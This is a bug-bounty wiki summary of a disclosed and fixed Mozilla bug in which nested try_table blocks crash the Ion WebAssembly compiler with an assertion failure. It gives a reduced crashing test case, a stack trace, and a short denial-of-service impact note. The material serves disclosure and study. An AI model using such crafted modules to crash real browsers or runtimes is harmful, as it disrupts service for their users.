setLoopBackedge should support try_table blocks
The Ion compiler for WebAssembly mishandles try_table blocks, causing an assertion failure in the MIR graph. An attacker could trigger a crash by supplying a crafted WebAssembly module.
Originally disclosed on Mozilla
- Fixed in 8 days
- Paid in 13 days
- Disclosed after 8 days
Clone of bug 1883865 for Ion option `--wasm-compilier=ion`. Reduced test case:
'''
new WebAssembly.Module(wasmTextToBinary(`
(module
(func (param f64)
try_table (catch_all 0)
loop
try_table (catch_all 0)
memory.size
drop
end
end
end
)
(memory i64 1 1)
)
`))
'''
Stack trace:
'''
Assertion failure: !producer->isDiscarded(), at /Users/yury/Work/mozilla-unified/js/src/jit/IonAnalysis.cpp:3296
#01: CheckOperand(js::jit::MNode const*, js::jit::MUse const*, int*)[/Users/yury/Work/mozilla-unified/obj-aarch64-apple-darwin22.5.0/dist/bin/js +0x17166d8]
#02: js::jit::AssertBasicGraphCoherency(js::jit::MIRGraph&, bool)[/Users/yury/Work/mozilla-unified/obj-aarch64-apple-darwin22.5.0/dist/bin/js +0x1715948]
#03: js::jit::OptimizeMIR(js::jit::MIRGenerator*)[/Users/yury/Work/mozilla-unified/obj-aarch64-apple-darwin22.5.0/dist/bin/js +0x16ed7b4]
#04: js::wasm::IonCompileFunctions(js::wasm::ModuleEnvironment const&, js::wasm::CompilerEnvironment const&, js::LifoAlloc&, mozilla::Vector<js::wasm::FuncCompileInput, 8ul, js::SystemAllocPolicy> const&, js::wasm::CompiledCode*, mozilla::UniquePtr<char [], JS[/Users/yury/Work/mozilla-unified/obj-aarch64-apple-darwin22.5.0/dist/bin/js +0x1af5174]
#05: ExecuteCompileTask(js::wasm::CompileTask*, mozilla::UniquePtr<char [], JS::FreePolicy>*)[/Users/yury/Work/mozilla-unified/obj-aarch64-apple-darwin22.5.0/dist/bin/js +0x1acfe48]
'''
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could cause a denial of service by crashing the application that compiles the malicious WebAssembly module.
What the attacker needed
Ability to supply a WebAssembly module; Ion compiler enabled
How it was found
- Create a WebAssembly module with nested try_table blocks and a loop.
- Compile the module using the Ion compiler option.
- Observe the assertion failure during compilation.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a bug in a JavaScript engine's WebAssembly compiler. When the compiler processes a certain kind of exception-handling block, it gets confused and crashes. An attacker could use a specially crafted WebAssembly module to make the browser or runtime crash.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.